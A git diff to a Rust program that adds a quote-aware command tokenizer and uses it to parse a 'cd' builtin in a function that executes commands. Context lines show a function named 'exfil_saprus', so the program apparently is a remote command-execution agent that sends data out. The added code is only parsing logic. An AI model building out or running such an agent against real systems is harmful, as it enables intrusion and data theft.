diff --git a/main.rs b/main.rs index 4509aa9..47d2950 100644 --- a/main.rs +++ b/main.rs @@ -27,11 +27,50 @@ fn exfil_saprus(data: &str) { } } +fn tokenize_command(command: &str) -> Vec { + let mut tokens = Vec::new(); + let mut current_token = String::new(); + let mut in_single_quotes = false; + let mut in_double_quotes = false; + let mut escape_next = false; + + for c in command.chars() { + if escape_next { + current_token.push(c); + escape_next = false; + continue; + } + + match c { + '\\' => escape_next = true, + '\'' if !in_double_quotes => in_single_quotes = !in_single_quotes, + '"' if !in_single_quotes => in_double_quotes = !in_double_quotes, + ' ' if !in_single_quotes && !in_double_quotes => { + if !current_token.is_empty() { + tokens.push(current_token); + current_token = String::new(); + } + }, + _ => current_token.push(c), + } + } + + if !current_token.is_empty() { + tokens.push(current_token); + } + + tokens +} + fn execute_command(command: &str) -> IoResult { // Checking to see if the command is a builtin - match command.split_whitespace().next() { + match tokenize_command(&command).first() { Some(first_word) if first_word == "cd" => { - let path: String = command.split_whitespace().skip(1).collect::>().join(" "); + let path = tokenize_command(&command) + .into_iter() + .skip(1) + .collect::>() + .join(" "); match cd(&path) { Ok(_) => return Ok("".to_string()), Err(e) => return Err(e),